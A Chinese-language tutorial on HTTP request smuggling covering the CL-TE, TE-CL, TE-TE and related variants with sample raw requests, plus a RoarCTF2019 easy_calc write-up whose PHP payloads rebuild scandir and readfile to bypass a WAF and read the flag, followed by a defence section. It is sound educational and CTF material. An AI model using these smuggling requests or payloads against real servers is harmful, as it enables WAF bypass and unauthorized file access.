从一道题到协议层攻击之HTTP请求走私
字数 1739 2025-08-25 22:58:35

HTTP请求走私攻击详解

0x00 概述

HTTP请求走私(HTTP Request Smuggling)是一种干扰网站处理HTTP请求序列的技术,允许攻击者绕过安全控制、未经授权访问敏感数据并危害其他应用程序用户。

0x01 漏洞成因

根本原因

前端服务器(如CDN)和后端服务器对客户端传入的数据理解不一致,导致处理不同步。主要由于HTTP规范提供了两种指定请求结束位置的方法:

  1. Content-Length 标头
  2. Transfer-Encoding 标头

当同时使用这两种方法时,根据RFC2616规范,Content-Length应被忽略。但在实际部署中,不同服务器实现可能导致处理不一致。

相关背景技术

  1. Keep-Alive:HTTP/1.1默认特性,允许重用TCP连接进行多次请求
  2. Pipeline:允许客户端无需等待响应就发送多个HTTP请求(浏览器默认不启用,但服务器通常支持)

0x02 攻击类型

1. CL不为0

场景:前端使用Content-Length,后端忽略GET请求的Content-Length

示例请求

GET / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 44\r\n

GET /secret HTTP/1.1\r\n
Host: test.com\r\n
\r\n

攻击流程

  1. 前端按Content-Length:44处理完整请求
  2. 后端忽略GET的Content-Length,将请求视为两个独立请求

2. CL-CL

场景:请求包含两个Content-Length且值不同

示例请求

POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

攻击流程

  1. 前端按第一个Content-Length:8处理
  2. 后端按第二个Content-Length:7处理,留下字符a
  3. a与后续正常请求拼接,导致异常

3. CL-TE

场景:前端处理Content-Length,后端处理Transfer-Encoding

示例请求

POST / HTTP/1.1\r\n
Host: test.com\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
a

攻击流程

  1. 前端按Content-Length:6处理完整请求
  2. 后端按chunked编码处理,读到0\r\n\r\n结束,留下a

4. TE-CL

场景:前端处理Transfer-Encoding,后端处理Content-Length

示例请求

POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

攻击流程

  1. 前端按chunked编码处理,读到0\r\n\r\n结束
  2. 后端按Content-Length:4处理,读取12\r\n后结束,剩余部分视为新请求

5. TE-TE

场景:前后端都处理Transfer-Encoding,但通过混淆诱导其中一方不处理

示例请求

POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

攻击流程

  1. 前端处理Transfer-Encoding,读到0\r\n\r\n结束
  2. 后端因混淆的Transfer-encoding回退到Content-Length,读取5c\r\n后结束,剩余部分视为新请求

0x03 实战案例:RoarCTF2019-Web:easy_calc

题目分析

  • 计算器功能
  • 输入calc.php可查看源码
  • 存在字符过滤:不能包含空格、制表符、换行等
  • 存在WAF,某些字符导致403

利用HTTP走私绕过WAF

  1. 列目录

    var_dump(base_convert(61693386291,10,36)(chr(47)))
    
    • base_convert(61693386291,10,36)scandir
    • chr(47)/
  2. 读取flag

    var_dump(base_convert(2146934604002,10,36)(chr(47).base_convert(25254448,10,36)))
    
    • base_convert(2146934604002,10,36)readfile
    • base_convert(25254448,10,36)f1agg
  3. PHP字符串解析特性绕过

    calc.php? num=1;var_dump(readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
    
    • num前加空格绕过WAF
    • PHP解析时会删除空格,使变量名仍为num

0x04 防御措施

  1. 协议升级:将前端配置为只使用HTTP/2与后端通信
  2. 禁用连接重用:彻底禁用后端连接重用
  3. 环境一致性:确保所有服务器运行相同配置的相同web服务器软件
  4. 严格校验:拒绝模糊请求并关闭关联连接
  5. 测试工具配置:确保测试工具(如Burp Suite)不自动"修复"请求头
  6. 代理监控:通过Squid等代理监控流量,阻断走私攻击

0x05 总结

HTTP请求走私是一种危险的协议层攻击,利用前后端服务器对请求边界解析的差异实现攻击。防御关键在于确保请求处理的统一性和严格性,同时保持基础设施的一致性。

HTTP请求走私攻击详解 0x00 概述 HTTP请求走私(HTTP Request Smuggling)是一种干扰网站处理HTTP请求序列的技术,允许攻击者绕过安全控制、未经授权访问敏感数据并危害其他应用程序用户。 0x01 漏洞成因 根本原因 前端服务器(如CDN)和后端服务器对客户端传入的数据理解不一致,导致处理不同步。主要由于HTTP规范提供了两种指定请求结束位置的方法: Content-Length 标头 Transfer-Encoding 标头 当同时使用这两种方法时,根据RFC2616规范, Content-Length 应被忽略。但在实际部署中,不同服务器实现可能导致处理不一致。 相关背景技术 Keep-Alive :HTTP/1.1默认特性,允许重用TCP连接进行多次请求 Pipeline :允许客户端无需等待响应就发送多个HTTP请求(浏览器默认不启用,但服务器通常支持) 0x02 攻击类型 1. CL不为0 场景 :前端使用 Content-Length ,后端忽略GET请求的 Content-Length 示例请求 : 攻击流程 : 前端按 Content-Length:44 处理完整请求 后端忽略GET的 Content-Length ,将请求视为两个独立请求 2. CL-CL 场景 :请求包含两个 Content-Length 且值不同 示例请求 : 攻击流程 : 前端按第一个 Content-Length:8 处理 后端按第二个 Content-Length:7 处理,留下字符 a a 与后续正常请求拼接,导致异常 3. CL-TE 场景 :前端处理 Content-Length ,后端处理 Transfer-Encoding 示例请求 : 攻击流程 : 前端按 Content-Length:6 处理完整请求 后端按chunked编码处理,读到 0\r\n\r\n 结束,留下 a 4. TE-CL 场景 :前端处理 Transfer-Encoding ,后端处理 Content-Length 示例请求 : 攻击流程 : 前端按chunked编码处理,读到 0\r\n\r\n 结束 后端按 Content-Length:4 处理,读取 12\r\n 后结束,剩余部分视为新请求 5. TE-TE 场景 :前后端都处理 Transfer-Encoding ,但通过混淆诱导其中一方不处理 示例请求 : 攻击流程 : 前端处理 Transfer-Encoding ,读到 0\r\n\r\n 结束 后端因混淆的 Transfer-encoding 回退到 Content-Length ,读取 5c\r\n 后结束,剩余部分视为新请求 0x03 实战案例:RoarCTF2019-Web:easy_ calc 题目分析 计算器功能 输入 calc.php 可查看源码 存在字符过滤:不能包含空格、制表符、换行等 存在WAF,某些字符导致403 利用HTTP走私绕过WAF 列目录 : base_convert(61693386291,10,36) → scandir chr(47) → / 读取flag : base_convert(2146934604002,10,36) → readfile base_convert(25254448,10,36) → f1agg PHP字符串解析特性绕过 : 在 num 前加空格绕过WAF PHP解析时会删除空格,使变量名仍为 num 0x04 防御措施 协议升级 :将前端配置为只使用HTTP/2与后端通信 禁用连接重用 :彻底禁用后端连接重用 环境一致性 :确保所有服务器运行相同配置的相同web服务器软件 严格校验 :拒绝模糊请求并关闭关联连接 测试工具配置 :确保测试工具(如Burp Suite)不自动"修复"请求头 代理监控 :通过Squid等代理监控流量,阻断走私攻击 0x05 总结 HTTP请求走私是一种危险的协议层攻击,利用前后端服务器对请求边界解析的差异实现攻击。防御关键在于确保请求处理的统一性和严格性,同时保持基础设施的一致性。